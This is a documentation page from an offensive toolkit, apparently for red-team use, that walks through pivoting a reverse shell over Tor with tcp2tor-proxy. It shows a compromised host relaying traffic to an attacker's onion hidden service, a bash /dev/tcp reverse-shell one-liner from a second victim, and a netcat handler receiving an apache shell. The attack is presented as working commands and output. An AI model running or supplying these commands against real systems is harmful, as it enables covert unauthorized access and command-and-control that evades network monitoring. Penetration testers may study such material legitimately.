Offensive Tor Toolkit
  • Introduction
  • TL;DR
  • Toolkit Overview
    • Download
    • reverse-shell-over-tor
    • hidden-bind-shell
    • hidden-portforwarding
    • tcp2tor-proxy
  • PoC - Proof Of Concept
    • Overview
    • Gaining access with reverse-shell-over-tor
    • Multi-shell access with hidden-bind-shell
    • Pivoting with hidden-portforwarding and Chisel
    • Remote port forwarding with tcp2tor-proxy
Powered by GitBook
On this page
  • 1. Set up the remote port forwarding
  • 2. Reverse shell to tcp2tor-proxy

Was this helpful?

  1. PoC - Proof Of Concept

Remote port forwarding with tcp2tor-proxy

PreviousPivoting with hidden-portforwarding and Chisel

Last updated 3 years ago

Was this helpful?

We suppose that Victim2 does not have Internet access, so we cannot access Tor directly from it. However, we can use tcp2tor-proxy in order to use Victim1 as a Tor proxy for Victim2.

As shown in the following illustration, the attacker will publish a Hidden Service with a handler. With tcp2tor-proxy, Victim1 will serve a TCP port that routes the traffic directly to the Hidden Service. Then, Victim2 will send a simple reverse shell to Victim1 in order to reach the attacker handler.

1. Set up the remote port forwarding

Previously, the attacker needs to have a Hidden Service up and running with an associated onion address. Also, the attacker should run a netcat handler for the incoming connections.

As Victim1 is the host we will used as a pivot, we will run tcp2tor-proxy on it:

[victim1]$ ./tcp2tor-proxy -listen 0.0.0.0:60101 \
    -onion-forward m5et..jyd.onion:4444
...
Proxying 0.0.0.0:60101 -> m5et..jyd.onion:4444

Now, the pivot is listening TCP traffic on port 60101 so that it will be routed to the Hidden Service the attacker owns.

2. Reverse shell to tcp2tor-proxy

As the traffic that reach tcp2tor-proxy will be routed to the Hidden Service, Victim2 only needs to send a simple reverse shell to the pivot:

[victim2]$ bash -i >& /dev/tcp/victim1/60101 0>&1

After executing the above command, the attacker will receive the shell:

[attacker]$ nc -lnvp 1234
...
id
uid=48(apache) gid=48(apache) groups=48(apache)
Remote port forwarding